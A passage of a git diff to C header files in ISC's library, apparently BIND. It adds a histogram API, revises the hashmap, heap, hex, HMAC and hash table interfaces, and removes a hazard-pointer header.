+isc_result_t
+isc_hashmap_delete(isc_hashmap_t *hashmap, const uint32_t *hashvalp,
+		   const void *key, uint32_t keysize);
+
+/*%
+ * Create an iterator for the hashmap; point '*itp' to it.
+ *
+ * Requires:
+ * \li	'hashmap' is a valid hashmap
+ * \li	'itp' is non NULL and '*itp' is NULL.
+ */
+void
+isc_hashmap_iter_create(isc_hashmap_t *hashmap, isc_hashmap_iter_t **itp);
+
+/*%
+ * Destroy the iterator '*itp', set it to NULL
+ *
+ * Requires:
+ * \li	'itp' is non NULL and '*itp' is non NULL.
+ */
+void
+isc_hashmap_iter_destroy(isc_hashmap_iter_t **itp);
+
+/*%
+ * Set an iterator to the first entry.
+ *
+ * Requires:
+ * \li	'it' is non NULL.
+ *
+ * Returns:
+ * \li	#ISC_R_SUCCESS	-- success
+ * \li	#ISC_R_NOMORE	-- no data in the hashmap
+ */
+isc_result_t
+isc_hashmap_iter_first(isc_hashmap_iter_t *it);
+
+/*%
+ * Set an iterator to the next entry.
+ *
+ * Requires:
+ * \li	'it' is non NULL.
+ *
+ * Returns:
+ * \li	#ISC_R_SUCCESS	-- success
+ * \li	#ISC_R_NOMORE	-- end of hashmap reached
+ */
+isc_result_t
+isc_hashmap_iter_next(isc_hashmap_iter_t *it);
+
+/*%
+ * Delete current entry and set an iterator to the next entry.
+ *
+ * Requires:
+ * \li	'it' is non NULL.
+ *
+ * Returns:
+ * \li	#ISC_R_SUCCESS	-- success
+ * \li	#ISC_R_NOMORE	-- end of hashmap reached
+ */
+isc_result_t
+isc_hashmap_iter_delcurrent_next(isc_hashmap_iter_t *it);
+
+/*%
+ * Set 'value' to the current value under the iterator
+ *
+ * Requires:
+ * \li	'it' is non NULL.
+ * \li   'valuep' is non NULL and '*valuep' is NULL.
+ */
+void
+isc_hashmap_iter_current(isc_hashmap_iter_t *it, void **valuep);
+
+/*%
+ * Set 'key' and 'keysize to the current key and keysize for the value
+ * under the iterator
+ *
+ * Requires:
+ * \li	'it' is non NULL.
+ * \li   'key' is non NULL and '*key' is NULL.
+ * \li	'keysize' is non NULL.
+ */
+void
+isc_hashmap_iter_currentkey(isc_hashmap_iter_t *it, const unsigned char **key,
+			    size_t *keysize);
+
+/*%
+ * Returns the number of items in the hashmap.
+ *
+ * Requires:
+ * \li	'hashmap' is a valid hashmap
+ */
+unsigned int
+isc_hashmap_count(isc_hashmap_t *hashmap);
diff --git a/lib/isc/include/isc/heap.h b/lib/isc/include/isc/heap.h
index b9a5e2615e..98ae74c3f7 100644
--- a/lib/isc/include/isc/heap.h
+++ b/lib/isc/include/isc/heap.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_HEAP_H
-#define ISC_HEAP_H 1
+#pragma once
 
 /*! \file isc/heap.h */
 
@@ -45,7 +46,7 @@ typedef void (*isc_heapaction_t)(void *, void *);
 
 typedef struct isc_heap isc_heap_t;
 
-isc_result_t
+void
 isc_heap_create(isc_mem_t *mctx, isc_heapcompare_t compare,
 		isc_heapindex_t index, unsigned int size_increment,
 		isc_heap_t **heapp);
@@ -70,10 +71,6 @@ isc_heap_create(isc_mem_t *mctx, isc_heapcompare_t compare,
  *	used, which is currently 1024, allowing space for an additional 1024
  *	heap elements to be inserted before adding more space.
  *\li	"heapp" is not NULL, and "*heap" is NULL.
- *
- * Returns:
- *\li	ISC_R_SUCCESS		- success
- *\li	ISC_R_NOMEMORY		- insufficient memory
  */
 
 void
@@ -85,7 +82,7 @@ isc_heap_destroy(isc_heap_t **heapp);
  *\li	"heapp" is not NULL and "*heap" points to a valid isc_heap_t.
  */
 
-isc_result_t
+void
 isc_heap_insert(isc_heap_t *heap, void *elt);
 /*!<
  * \brief Inserts a new element into a heap.
@@ -162,5 +159,3 @@ isc_heap_foreach(isc_heap_t *heap, isc_heapaction_t action, void *uap);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_HEAP_H */
diff --git a/lib/isc/include/isc/hex.h b/lib/isc/include/isc/hex.h
index 9db9931570..4599bfc893 100644
--- a/lib/isc/include/isc/hex.h
+++ b/lib/isc/include/isc/hex.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_HEX_H
-#define ISC_HEX_H 1
+#pragma once
 
 /*! \file isc/hex.h */
 
@@ -19,6 +20,19 @@
 
 ISC_LANG_BEGINDECLS
 
+/*
+ * An `isc__hex_char` table entry is non-zero if the character is a hex digit;
+ * You can subtract the table entry from the character to convert the hex digit
+ * to its value. e.g. 'a' - isc__hex_char['a'] == 10. Unlike <ctype.h>
+ * isxdigit(), this saves you from needing another case analysis.
+ */
+extern const uint8_t isc__hex_char[256];
+
+/*
+ * Wrapper so we don't have to cast all over the place like <ctype.h>
+ */
+#define isc_hex_char(c) isc__hex_char[(uint8_t)(c)]
+
 /***
  *** Functions
  ***/
@@ -95,5 +109,3 @@ isc_hex_tobuffer(isc_lex_t *lexer, isc_buffer_t *target, int length);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_HEX_H */
diff --git a/lib/isc/include/isc/histo.h b/lib/isc/include/isc/histo.h
new file mode 100644
index 0000000000..4c9123fbbc
--- /dev/null
+++ b/lib/isc/include/isc/histo.h
@@ -0,0 +1,391 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <sys/types.h>
+
+#include <isc/mem.h>
+
+/*
+ * An `isc_histo_t` is a thread-safe histogram of `uint64_t` values.
+ * It keeps a count of how many values land in each bucket. Use the
+ * `isc_histo_inc()`, `isc_histo_acc()`, and `isc_histo_put()`
+ * functions to add values to the histogram.
+ *
+ * Values are mapped to buckets by rounding them according to a
+ * configurable precision, expressed as a number of significant bits.
+ * The bits <-> digits functions convert betwen decimal significant
+ * digits (as in scientific notation) and binary significant bits.
+ *
+ * You can use the `isc_histo_get()` function to export data from the
+ * histogram. The range of a bucket is returned as its minimum and
+ * maximum values, inclusive, i.e. a closed interval. We use closed
+ * intervals so we are able to express the maximum of the last bucket,
+ * UINT64_MAX, although half-open intervals are more common in C.
+ *
+ * You can calculate some basic statistics directly from a histogram.
+ * The `isc_histo_quantiles()` function can get a histogram's median,
+ * 99th percentile, etc. The `isc_histo_moments()` function gets a
+ * histogram's population, mean, and standard deviation.
+ *
+ * The size of a histogram depends on the range of values in the
+ * stream of samples, not the number of samples. Bucket counters are
+ * 64 bits each, and are allocated in chunks of `1 << sigbits` where
+ * `sigbits` is the histogram's configured precision. There are at
+ * most 64 chunks, one for each bit of a 64 bit value. Histograms with
+ * greater precision have larger chunks.
+ *
+ * At the low end (values near zero) there is one value per bucket,
+ * then two values, four, eight, etc. The number of values that map to
+ * a bucket is the same in each chunk. Chunks 0 and 1 have one value
+ * per bucket, (see `ISC_HISTO_UNITBUCKETS()` below), chunk 2 has 2
+ * values per bucket, chunk 3 has 4, etc.
+ *
+ * The update cost is roughly constant and very small (not much more
+ * than an atomic increment). It mostly depends on cache locality and
+ * thread contention.
+ *
+ * There is no overflow checking for the 64 bit bucket counters. It
+ * takes a few nanoseconds to add a sample to the histogram, so it
+ * would take at least a few CPU-centuries to cause an overflow.
+ * Aggregate statistics from a quarter of a million CPUs might
+ * overflow in a day. (Provided that in both examples the CPUs are
+ * doing nothing apart from repeatedly adding 1 to histogram buckets.)
+ */
+
+typedef struct isc_histo      isc_histo_t;
+typedef struct isc_histomulti isc_histomulti_t;
+
+#define ISC_HISTO_MINBITS      1
+#define ISC_HISTO_MAXBITS      18
+#define ISC_HISTO_MINDIGITS    1
+#define ISC_HISTO_MAXDIGITS    6
+#define ISC_HISTO_MAXQUANTILES 101 /* enough for all the percentiles */
+
+/*
+ * How many values map 1:1 to buckets for a given number of sigbits?
+ * These are the buckets at the low end, starting from zero.
+ */
+#define ISC_HISTO_UNITBUCKETS(sigbits) (2 << (sigbits))
+
+void
+isc_histo_create(isc_mem_t *mctx, uint sigbits, isc_histo_t **hgp);
+/*%<
+ * Create a histogram.
+ *
+ * The relative error of values stored in the histogram is less than
+ * `pow(2.0, -sigbits)`.
+ *
+ * Requires:
+ *\li	`sigbits >= ISC_HISTO_MINBITS`
+ *\li	`sigbits <= ISC_HISTO_MAXBITS`
+ *\li	`hgp != NULL`
+ *\li	`*hgp == NULL`
+ *
+ * Ensures:
+ *\li	`*hgp` is a pointer to a histogram.
+ */
+
+void
+isc_histo_destroy(isc_histo_t **hgp);
+/*%<
+ * Destroy a histogram
+ *
+ * Requires:
+ *\li	`hgp != NULL`
+ *\li	`*hgp` is a pointer to a valid histogram
+ *
+ * Ensures:
+ *\li	all memory allocated by the histogram has been released
+ *\li	`*hgp` is NULL
+ */
+
+uint
+isc_histo_sigbits(isc_histo_t *hg);
+/*%<
+ * Get the histogram's `sigbits` setting
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ */
+
+uint
+isc_histo_bits_to_digits(uint bits);
+/*%<
+ * Convert binary significant figures to decimal significant figures,
+ * rounding down, i.e. get the decimal precision you can expect from a
+ * given number of significant bits.
+ *
+ * Requires:
+ *\li	`bits >= ISC_HISTO_MINBITS`
+ *\li	`bits <= ISC_HISTO_MAXBITS`
+ */
+
+uint
+isc_histo_digits_to_bits(uint digits);
+/*%<
+ * Convert decimal significant figures to binary significant figures,
+ * rounding up, i.e. get the number of significant bits required to
+ * achieve the given decimal precision.
+ *
+ * Requires:
+ *\li	`digits >= ISC_HISTO_MINDIGS`
+ *\li	`digits <= ISC_HISTO_MAXDIGS`
+ */
+
+/**********************************************************************/
+
+void
+isc_histo_inc(isc_histo_t *hg, uint64_t value);
+/*%<
+ * Add 1 to the value's bucket
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ */
+
+void
+isc_histo_add(isc_histo_t *hg, uint64_t value, uint64_t inc);
+/*%<
+ * Add an arbitrary increment to the value's bucket
+ *
+ * Note: there is no counter overflow checking
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ */
+
+void
+isc_histo_put(isc_histo_t *hg, uint64_t min, uint64_t max, uint64_t count);
+/*
+ * Import a collection of samples, where values between `min` and
+ * `max` inclusive occurred `count` times. This function is a
+ * counterpart to `isc_histo_get()`.
+ *
+ * Note: there is no counter overflow checking
+ *
+ * Requires:
+ *\li	`min <= max`
+ *\li	`hg` is a pointer to a valid histogram
+ */
+
+isc_result_t
+isc_histo_get(const isc_histo_t *hg, uint key, uint64_t *minp, uint64_t *maxp,
+	      uint64_t *countp);
+/*%<
+ * Export information about a bucket.
+ *
+ * This can be used as an iterator, by initializing `key` to zero
+ * and incrementing by one or using `isc_histo_next()` until
+ * `isc_histo_get()` returns ISC_R_RANGE. The number of iterations is
+ * less than `64 << sigbits`. (64 for the maximum number of chunks,
+ * multiplied by the size of each chunk.)
+ *
+ * It is also a counterpart to `isc_histo_put()`.
+ *
+ * If `minp` is non-NULL it is set to the minimum inclusive value
+ * that maps to this bucket.
+ *
+ * If `maxp` is non-NULL it is set to the maximum inclusive value
+ * that maps to this bucket.
+ *
+ * If `countp` is non-NULL it is set to the bucket's counter,
+ * which can be zero.
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ *
+ * Returns:
+ *\li	ISC_R_SUCCESS, if `key` is valid
+ *\li	ISC_R_RANGE, otherwise
+ */
+
+void
+isc_histo_next(const isc_histo_t *hg, uint *keyp);
+/*%<
+ * Skip to the next key, omitting chunks of unallocated buckets.
+ *
+ * This function does not skip buckets that have been allocated but
+ * are zero. A chunk contains `1 << sigbits` buckets, and buckets
+ * are created in bulk one chunk at a time.
+ *
+ * Example:
+ *
+ *	uint64_t min, max, count;
+ *	for (uint key = 0;
+ *	     isc_histo_get(hg, key, &min, &max, &count) == ISC_R_SUCCESS;
+ *	     isc_histo_next(hg, &key))
+ *	{
+ *		// do something with the bucket
+ *	}
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ *\li	`keyp != NULL`
+ */
+
+void
+isc_histo_merge(isc_histo_t **targetp, const isc_histo_t *source);
+/*%<
+ * Increase the counts in `*ptarget` by the counts recorded in `source`
+ *
+ * If `*targetp == NULL` then `*ptarget` is set to point to a new
+ * histogram with the same `sigbits` as the `source`.
+ *
+ * This function uses `isc_histo_get()` and `isc_histo_next()` to
+ * export the data from `source`, and `isc_histo_put()` to import it
+ * into `*ptarget`.
+ *
+ * Requires:
+ *\li	`targetp != NULL`
+ *\li	`*targetp` is NULL or a pointer to a valid histogram
+ *\li	`source` is a pointer to a valid histogram
+ *
+ * Ensures:
+ *\li	`*targetp` is a pointer to a valid histogram
+ */
+
+/**********************************************************************/
+
+void
+isc_histomulti_create(isc_mem_t *mctx, uint sigbits, isc_histomulti_t **hmp);
+/*%<
+ * Create a multithreaded sharded histogram.
+ *
+ * Although an `isc_histo_t` is thread-safe, it can suffer
+ * from cache contention under heavy load. To avoid this,
+ * an `isc_histomulti_t` contains a histogram per thread,
+ * so updates are local and low-contention.
+ *
+ * Requires:
+ *\li	`sigbits >= ISC_HISTO_MINBITS`
+ *\li	`sigbits <= ISC_HISTO_MAXBITS`
+ *\li	`hmp != NULL`
+ *\li	`*hmp == NULL`
+ *
+ * Ensures:
+ *\li	`*hmp` is a pointer to a multithreaded sharded histogram.
+ */
+
+void
+isc_histomulti_destroy(isc_histomulti_t **hmp);
+/*%<
+ * Destroy a multithreaded sharded histogram
+ *
+ * Requires:
+ *\li	`hmp != NULL`
+ *\li	`*hmp` is a pointer to a valid multithreaded sharded histogram
+ *
+ * Ensures:
+ *\li	all memory allocated by the histogram has been released
+ *\li	`*hmp == NULL`
+ */
+
+void
+isc_histomulti_merge(isc_histo_t **targetp, const isc_histomulti_t *source);
+/*%<
+ * Increase the counts in `*targetp` by the counts recorded in `source`
+ *
+ * The target histogram is created if `*targetp` is NULL.
+ *
+ * Requires:
+ *\li	`targetp != NULL`
+ *\li	`*targetp` is NULL or a pointer to a valid histogram
+ *\li	`source` is a pointer to a valid multithreaded sharded histogram
+ *
+ * Ensures:
+ *\li	`*targetp` is a pointer to a valid histogram
+ */
+
+void
+isc_histomulti_inc(isc_histomulti_t *hm, uint64_t value);
+/*%<
+ * Add 1 to the value's bucket
+ *
+ * Requires:
+ *\li	`hm` is a pointer to a valid histomulti
+ */
+
+void
+isc_histomulti_add(isc_histomulti_t *hm, uint64_t value, uint64_t inc);
+/*%<
+ * Add an arbitrary increment to the value's bucket
+ *
+ * Requires:
+ *\li	`hm` is a pointer to a valid histomulti
+ */
+
+/**********************************************************************/
+
+void
+isc_histo_moments(const isc_histo_t *hg, double *pm0, double *pm1, double *pm2);
+/*%<
+ * Get the population, mean, and standard deviation of a histogram.
+ *
+ * If `pm0` is non-NULL it is set to the population of the histogram.
+ * (Strictly speaking, the zeroth moment is `pop / pop == 1`.)
+ *
+ * If `pm1` is non-NULL it is set to the mean (first moment) of the
+ * recorded data.
+ *
+ * If `pm2` is non-NULL it is set to the standard deviation of the
+ * recorded data. The standard deviation is the square root of the
+ * variance, which is the second moment about the mean.
+ *
+ * It is safe if the histogram is concurrently modified.
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ */
+
+isc_result_t
+isc_histo_quantiles(const isc_histo_t *hg, uint size, const double *fraction,
+		    uint64_t *value);
+/*%<
+ * The quantile function (aka inverse cumulative distribution function)
+ * of the histogram. What value is greater than the given fraction of
+ * the population?
+ *
+ * A fraction of 0.5 gets the median value: it is greater than half
+ * the population. 0.75 gets the third quartile value, and 0.99 gets
+ * the 99th percentile value. The fraction must be between 0.0 and 1.0
+ * inclusive.
+ *
+ * https://enwp.org/Quantile_function
+ *
+ * This implementation allows you to query quantile values for
+ * multiple fractions in one function call. Internally, it makes one
+ * linear scan over the histogram's buckets to find all the fractions.
+ * Buckets are scanned from high to low, so that querying large
+ * quantiles is more efficient. The `fraction` array must be sorted in
+ * decreasing order. The results are stored in the `value` array. Both
+ * arrays have `size` elements.
+ *
+ * The results may be nonsense if the histogram is concurrently
+ * modified. To get a stable copy you can call `isc_histo_merge()`.
+ *
+ * Requires:
+ *\li	`hg` is a pointer to a valid histogram
+ *\li	`0 < size && size <= ISC_HISTO_MAXQUANTILES`
+ *\li	`fraction != NULL`
+ *\li	`value != NULL`
+ *\li	`0.0 <= fraction[i] && fraction[i] <= 1.0` for every element
+ *\li	`fraction[i - 1] > fraction[i]` for every pair of elements
+ *
+ * Returns:
+ *\li	ISC_R_SUCCESS, if results were stored in the `value` array
+ *\li	ISC_R_UNSET, if the histogram is empty
+ */
+
+/**********************************************************************/
diff --git a/lib/isc/include/isc/hmac.h b/lib/isc/include/isc/hmac.h
index f41b07d6bc..68b63d478a 100644
--- a/lib/isc/include/isc/hmac.h
+++ b/lib/isc/include/isc/hmac.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,6 @@
 
 #include <isc/lang.h>
 #include <isc/md.h>
-#include <isc/platform.h>
 #include <isc/result.h>
 #include <isc/types.h>
 
@@ -32,17 +33,18 @@ typedef void isc_hmac_t;
  * @buf: data to hash
  * @len: length of the data to hash
  * @digest: the output buffer
- * @digestlen: the length of the data written to @digest
+ * @digestlen: in: the length of @digest
+ *             out: the length of the data written to @digest
  *
  * This function computes the message authentication code using a digest type
  * @type with key @key which is @keylen bytes long from data in @buf which is
  * @len bytes long, and places the output into @digest, which must have space
- * for the hash function output (use ISC_MAX_MD_SIZE if unsure).  If the
- * @digestlen parameter is not NULL then the number of bytes of data written
- * (i.e. the length of the digest) will be written to the @digestlen.
+ * for the hash function output (use ISC_MAX_MD_SIZE if unsure). @digestlen
+ * is used to pass in the length of the digest buffer and returns the length
+ * of digest written to @digest.
  */
 isc_result_t
-isc_hmac(const isc_md_type_t *type, const void *key, const int keylen,
+isc_hmac(const isc_md_type_t *type, const void *key, const size_t keylen,
 	 const unsigned char *buf, const size_t len, unsigned char *digest,
 	 unsigned int *digestlen);
 
@@ -75,7 +77,7 @@ isc_hmac_free(isc_hmac_t *hmac);
  */
 
 isc_result_t
-isc_hmac_init(isc_hmac_t *hmac, const void *key, size_t keylen,
+isc_hmac_init(isc_hmac_t *hmac, const void *key, const size_t keylen,
 	      const isc_md_type_t *type);
 
 /**
@@ -104,13 +106,14 @@ isc_hmac_update(isc_hmac_t *hmac, const unsigned char *buf, const size_t len);
  * isc_hmac_final:
  * @hmac: HMAC context
  * @digest: the output buffer
- * @digestlen: the length of the data written to @digest
+ * @digestlen: in: the length of @digest
+ *             out: the length of the data written to @digest
  *
  * This function retrieves the message authentication code from @hmac and places
- * it in @digest, which must have space for the hash function output.  If the
- * @digestlen parameter is not NULL then the number of bytes of data written
- * (i.e. the length of the digest) will be written to the @digestlen.  After
- * calling this function no additional calls to isc_hmac_update() can be made.
+ * it in @digest, which must have space for the hash function output. @digestlen
+ * is used to pass in the length of the digest buffer and returns the length
+ * of digest written to @digest.  After calling this function no additional
+ * calls to isc_hmac_update() can be made.
  */
 isc_result_t
 isc_hmac_final(isc_hmac_t *hmac, unsigned char *digest,
diff --git a/lib/isc/include/isc/hp.h b/lib/isc/include/isc/hp.h
deleted file mode 100644
index 948eaa894a..0000000000
--- a/lib/isc/include/isc/hp.h
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*
- * Hazard Pointer implementation.
- *
- * This work is based on C++ code available from:
- * https://github.com/pramalhe/ConcurrencyFreaks/
- *
- * Copyright (c) 2014-2016, Pedro Ramalhete, Andreia Correia
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are met:
- *
- *     * Redistributions of source code must retain the above copyright
- *       notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above copyright
- *       notice, this list of conditions and the following disclaimer in the
- *       documentation and/or other materials provided with the distribution.
- *     * Neither the name of Concurrency Freaks nor the
- *       names of its contributors may be used to endorse or promote products
- *       derived from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
- * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
- * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
- * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER>
- * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- * THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#pragma once
-
-#include <isc/atomic.h>
-#include <isc/mem.h>
-#include <isc/string.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-/*%
- * Hazard pointers are a mechanism for protecting objects in memory
- * from being deleted by other threads while in use. This allows
- * safe lock-free data structures.
- *
- * This is an adaptation of the ConcurrencyFreaks implementation in C.
- * More details available at https://github.com/pramalhe/ConcurrencyFreaks,
- * in the file HazardPointers.hpp.
- */
-
-typedef void(isc_hp_deletefunc_t)(void *);
-
-void
-isc_hp_init(int max_threads);
-/*%<
- * Initialize hazard pointer constants, isc__hp_max_threads and
- * isc__hp_max_retired. If more threads try to access hp, it
- * will assert. Calling this function repeatedly can be used
- * to increase the limits, but cannot reduce them.
- */
-
-isc_hp_t *
-isc_hp_new(isc_mem_t *mctx, size_t max_hps, isc_hp_deletefunc_t *deletefunc);
-/*%<
- * Create a new hazard pointer array of size 'max_hps' (or a reasonable
- * default value if 'max_hps' is 0). The function 'deletefunc' will be
- * used to delete objects protected by hazard pointers when it becomes
- * safe to retire them.
- */
-
-void
-isc_hp_destroy(isc_hp_t *hp);
-/*%<
- * Destroy a hazard pointer array and clean up all objects protected
- * by hazard pointers.
- */
-
-void
-isc_hp_clear(isc_hp_t *hp);
-/*%<
- * Clear all hazard pointers in the array for the current thread.
- *
- * Progress condition: wait-free bounded (by max_hps)
- */
-
-void
-isc_hp_clear_one(isc_hp_t *hp, int ihp);
-/*%<
- * Clear a specified hazard pointer in the array for the current thread.
- *
- * Progress condition: wait-free population oblivious.
- */
-
-uintptr_t
-isc_hp_protect(isc_hp_t *hp, int ihp, atomic_uintptr_t *atom);
-/*%<
- * Protect an object referenced by 'atom' with a hazard pointer for the
- * current thread.
- *
- * Progress condition: lock-free.
- */
-
-uintptr_t
-isc_hp_protect_ptr(isc_hp_t *hp, int ihp, atomic_uintptr_t ptr);
-/*%<
- * This returns the same value that is passed as ptr, which is sometimes
- * useful.
- *
- * Progress condition: wait-free population oblivious.
- */
-
-uintptr_t
-isc_hp_protect_release(isc_hp_t *hp, int ihp, atomic_uintptr_t ptr);
-/*%<
- * Same as isc_hp_protect_ptr(), but explicitly uses memory_order_release.
- *
- * Progress condition: wait-free population oblivious.
- */
-
-void
-isc_hp_retire(isc_hp_t *hp, uintptr_t ptr);
-/*%<
- * Retire an object that is no longer in use by any thread, calling
- * the delete function that was specified in isc_hp_new().
- *
- * Progress condition: wait-free bounded (by the number of threads squared)
- */
diff --git a/lib/isc/include/isc/ht.h b/lib/isc/include/isc/ht.h
index 9d5ab82ee4..163fbefb79 100644
--- a/lib/isc/include/isc/ht.h
+++ b/lib/isc/include/isc/ht.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,8 +13,7 @@
 
 /* ! \file */
 
-#ifndef ISC_HT_H
-#define ISC_HT_H 1
+#pragma once
 
 #include <inttypes.h>
 #include <string.h>
@@ -23,20 +24,24 @@
 typedef struct isc_ht	   isc_ht_t;
 typedef struct isc_ht_iter isc_ht_iter_t;
 
+enum { ISC_HT_CASE_SENSITIVE = 0x00, ISC_HT_CASE_INSENSITIVE = 0x01 };
+
 /*%
  * Initialize hashtable at *htp, using memory context and size of (1<<bits)
  *
+ * If 'options' contains ISC_HT_CASE_INSENSITIVE, then upper- and lower-case
+ * letters in key values will generate the same hash values; this can be used
+ * when the key for a hash table is a DNS name.
+ *
  * Requires:
  *\li	'htp' is not NULL and '*htp' is NULL.
  *\li	'mctx' is a valid memory context.
  *\li	'bits' >=1 and 'bits' <=32
  *
- * Returns:
- *\li	#ISC_R_NOMEMORY		-- not enough memory to create pool
- *\li	#ISC_R_SUCCESS		-- all is well.
  */
-isc_result_t
-isc_ht_init(isc_ht_t **htp, isc_mem_t *mctx, uint8_t bits);
+void
+isc_ht_init(isc_ht_t **htp, isc_mem_t *mctx, uint8_t bits,
+	    unsigned int options);
 
 /*%
  * Destroy hashtable, freeing everything
@@ -53,6 +58,7 @@ isc_ht_destroy(isc_ht_t **htp);
  *
  * Requires:
  *\li	'ht' is a valid hashtable
+ *\li   write-lock
  *
  * Returns:
  *\li	#ISC_R_NOMEMORY		-- not enough memory to create pool
@@ -60,7 +66,7 @@ isc_ht_destroy(isc_ht_t **htp);
  *\li	#ISC_R_SUCCESS		-- all is well.
  */
 isc_result_t
-isc_ht_add(isc_ht_t *ht, const unsigned char *key, uint32_t keysize,
+isc_ht_add(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize,
 	   void *value);
 
 /*%
@@ -71,27 +77,29 @@ isc_ht_add(isc_ht_t *ht, const unsigned char *key, uint32_t keysize,
  *
  * Requires:
  * \li	'ht' is a valid hashtable
+ * \li  read-lock
  *
  * Returns:
  * \li	#ISC_R_SUCCESS		-- success
  * \li	#ISC_R_NOTFOUND		-- key not found
  */
 isc_result_t
-isc_ht_find(const isc_ht_t *ht, const unsigned char *key, uint32_t keysize,
-	    void **valuep);
+isc_ht_find(const isc_ht_t *ht, const unsigned char *key,
+	    const uint32_t keysize, void **valuep);
 
 /*%
  * Delete node from hashtable
  *
  * Requires:
  *\li	ht is a valid hashtable
+ *\li   write-lock
  *
  * Returns:
  *\li	#ISC_R_NOTFOUND		-- key not found
  *\li	#ISC_R_SUCCESS		-- all is well
  */
 isc_result_t
-isc_ht_delete(isc_ht_t *ht, const unsigned char *key, uint32_t keysize);
+isc_ht_delete(isc_ht_t *ht, const unsigned char *key, const uint32_t keysize);
 
 /*%
  * Create an iterator for the hashtable; point '*itp' to it.
@@ -100,7 +108,7 @@ isc_ht_delete(isc_ht_t *ht, const unsigned char *key, uint32_t keysize);
  *\li	'ht' is a valid hashtable
  *\li	'itp' is non NULL and '*itp' is NULL.
  */
-isc_result_t
+void
 isc_ht_iter_create(isc_ht_t *ht, isc_ht_iter_t **itp);
 
 /*%
@@ -119,7 +127,7 @@ isc_ht_iter_destroy(isc_ht_iter_t **itp);
  *\li	'it' is non NULL.
  *
  * Returns:
- * \li 	#ISC_R_SUCCESS	-- success
+ * \li	#ISC_R_SUCCESS	-- success
  * \li	#ISC_R_NOMORE	-- no data in the hashtable
  */
 isc_result_t
@@ -132,7 +140,7 @@ isc_ht_iter_first(isc_ht_iter_t *it);
  *\li	'it' is non NULL.
  *
  * Returns:
- * \li 	#ISC_R_SUCCESS	-- success
+ * \li	#ISC_R_SUCCESS	-- success
  * \li	#ISC_R_NOMORE	-- end of hashtable reached
  */
 isc_result_t
@@ -145,7 +153,7 @@ isc_ht_iter_next(isc_ht_iter_t *it);
  *\li	'it' is non NULL.
  *
  * Returns:
- * \li 	#ISC_R_SUCCESS	-- success
+ * \li	#ISC_R_SUCCESS	-- success
  * \li	#ISC_R_NOMORE	-- end of hashtable reached
  */
 isc_result_t
@@ -179,6 +187,5 @@ isc_ht_iter_currentkey(isc_ht_iter_t *it, unsigned char **key, size_t *keysize);
  * Requires:
  *\li	'ht' is a valid hashtable
  */
-unsigned int
